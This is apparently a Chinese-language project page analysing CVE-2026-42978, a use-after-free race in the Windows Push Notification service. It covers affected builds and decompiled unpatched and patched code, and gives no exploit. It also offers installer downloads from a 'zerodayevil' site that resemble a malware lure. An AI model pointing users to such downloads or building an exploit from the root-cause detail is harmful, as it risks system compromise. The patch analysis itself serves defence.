CVE-2026-42978 Windows 推送通知 (WpnService) 释放后使用与竞态条件 PoC 研究、诊断扫描器,以及面向 AI 安全工具的安全审计模块。
CVE-2026-42978
面向 AI 安全工具的 Windows 推送通知模块
下一代 AI 安全生态系统、多协议终端与自主代理套件
产品: AI Security Tool
站点: zerodayevil.github.io
文档: https://zerodayevil.github.io/ai-security-tool
本模块是面向 AI Security Tool 的经审核分析报告与安全检查配置。
仅使用项目站点或官方目录中列出的模块。请在经批准的应用程序内加载本模块,并仅针对你拥有或获得书面授权进行评估的端点使用。
本仓库不提供针对 WpnService 的武器化漏洞利用程序。lab/ 下的实验环境是该类漏洞(TOCTOU / 双重取值)的独立模拟实现。它不会与真实的推送通知服务通信。
请先安装宿主应用。然后从 Modules → Windows / Local EoP → CVE-2026-42978 启用本模块。
| 操作系统 / 平台 | 版本 | 架构 / 格式 | 更新时间 | 状态 | 下载 |
|---|---|---|---|---|---|
| Windows | v6.3.20 | x64 安装程序(.exe) | 2026-09-08 | 最新 | 下载 .exe |
| Windows | v6.3.20 | x64 便携版(.tar.gz) | 2026-09-08 | 最新 | 下载 .tar.gz |
| macOS | v5.3.29 | Apple Silicon(.dmg) | 2026-09-05 | 稳定 | 下载 .dmg |
| Linux | v5.3.27 | 通用 x64(.tar.gz) | 2026-09-01 | 稳定 | 下载 .tar.gz |
| Android | v5.3.27 | ARM64 APK(.apk) | 2026-09-01 | 稳定 | 下载 .apk |
仅限官方来源:
CVE-2026-42978 是 Windows 推送通知中的本地权限提升漏洞。Microsoft 将其描述为对共享资源的并发访问缺乏适当同步(CWE-362)。对已修补与未修补 wpncore.dll 的研究表明,在平台关闭期间 PresentationEndpointFacade 中存在释放后使用竞态。
WpnService 以 NT AUTHORITY\SYSTEM 身份在会话 0 中运行(svchost.exe -k netsvcs -p)。Toast、磁贴和徽章通知的传递都经过它。针对该进程赢得竞态意味着本地机器上的 SYSTEM 权限问题——而不是远程预认证的域控漏洞。
状态: 已于 2026 年 6 月 10 日(补丁星期二)修补。本页面为防御性研究。
它不是 CVE-2026-41089(Netlogon RCE)。组件不同、权限模型不同、补丁日期不同。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-42978 |
| BDU | BDU:2026-08249 |
| 厂商公告 | MSRC — Windows Push Notifications EoP |
| 严重性 | 高 · CVSS 3.1 7.8 |
| 弱点 | CWE-362 竞态条件 · 关闭路径上的释放后使用 |
| 组件 | Windows Push Notifications · WpnService · wpncore.dll |
| 攻击向量 | 本地 |
| 所需权限 | 低(已授权的本地用户) |
| 用户交互 | 无 |
| 补丁星期二 | 2026 年 6 月 10 日 |
| 模块类型 | 研究分析报告 + 应用内安全检查 + 检测包 |
随附推送通知的客户端和服务器 SKU。在关闭工单之前,请在 MSRC 上确认确切的 KB 编号。
| 系列 | 说明 |
|---|---|
| Windows 10 | 1809、21H2、22H2(适用时包括 x86 / x64 / ARM64) |
| Windows 11 | 23H2、24H2、25H2、26H1 |
| Windows Server | 2016 / 2019 / 2022 / 2025(完整版和组件存在的 Server Core 版) |
根据公开服务说明整理的参考构建版本(请始终重新核对 MSRC):
| 分支 | 参考已修补构建版本 |
|---|---|
| Windows 11 23H2 | 22631.7219 |
| Windows 11 24H2 | 26100.8655 |
| Windows 11 25H2 | 26200.8655 |
| Windows 11 26H1 | 28000.2269 |
wpncore.dll 示例(24H2) | 易受攻击 26100.8521 → 已修补 26100.8655 |
该外观类封装了通知 API 调用,并委托给 PresentationEndpointImpl。在平台关闭期间,NotificationPlatform 对象会被销毁。历史上,若干外观方法在获取平台指针时没有关闭标志或共享锁。如果销毁过程赢得竞态,下一次调用就会使用悬空指针。
相同的加锁与防护模式被应用于 49 个 PresentationEndpointFacade::* 方法。底层的实现方法保持不变——漏洞位于外观层。
wpncore.dll 26100.8521)// PresentationEndpointFacade::ToastUnblockAll — unpatched
long ToastUnblockAll(PresentationEndpointFacade *this) {
NotificationPlatformHandle::Get(this + 0x50);
if (platform == NULL)
Throw_Hr(...);
return PresentationEndpointImpl::UnblockToastsForEachApp(...);
}
wpncore.dll 26100.8655)// PresentationEndpointFacade::ToastUnblockAll — patched
long ToastUnblockAll(PresentationEndpointFacade *this) {
if (Feature_4097557817::IsEnabled()) {
AcquireSRWLockShared(&Wns::s_platformLock);
if (Wns::s_platformShutdown)
Throw_Hr(E_APPLICATION_EXITING);
NotificationPlatformHandle::Get(this + 0x50);
ReleaseSRWLockShared(&Wns::s_platformLock);
}
}
补丁新增的内容:
AcquireSRWLockShared —— 读写锁;关闭过程获取独占锁。s_platformShutdown —— 如果销毁已开始,则以 E_APPLICATION_EXITING 退出。unique_storage 实现 RAII 释放,因此锁在异常路径上也会释放。Feature_4097557817,用于分阶段推出 / 回滚。| 类别 | 示例函数 |
|---|---|
| Toast | ToastUnblockAll、ToastCreateSession、ToastCloseSession、ToastRequestAllNotifications、ToastSuppress |
| 磁贴 | TileCreateSession、TileCloseSession、TileRequestResourceForeground |
| 注册 | RegisterApplication、UnregisterApplication、RegisterHandler、UpdateRegistration |
| 设置 | ChangeAppSetting、QueryAppSetting、QueryGlobalSetting |
| 传递 | Deliver、GetPayloadForNotificationId、Submit、PostScheduledNotification |
| 查询 | GetRegisteredHandler、GetSettingsFromHandler、GetAssetsFromHandler |
来自 reports/ 的 PE 说明:
.text 增长了 18,432 字节.data 增长了 96 字节(Wns::s_platformLock、Wns::s_platformShutdown)WpnService 以 SYSTEM 身份运行。如果赢得竞态,悬空的虚表调用可被转化为本地 SYSTEM 代码执行。该步骤——堆喷射、虚表劫持、载荷——不在本文讨论范围内。
本模块用于根本原因认知、补丁验证和检测。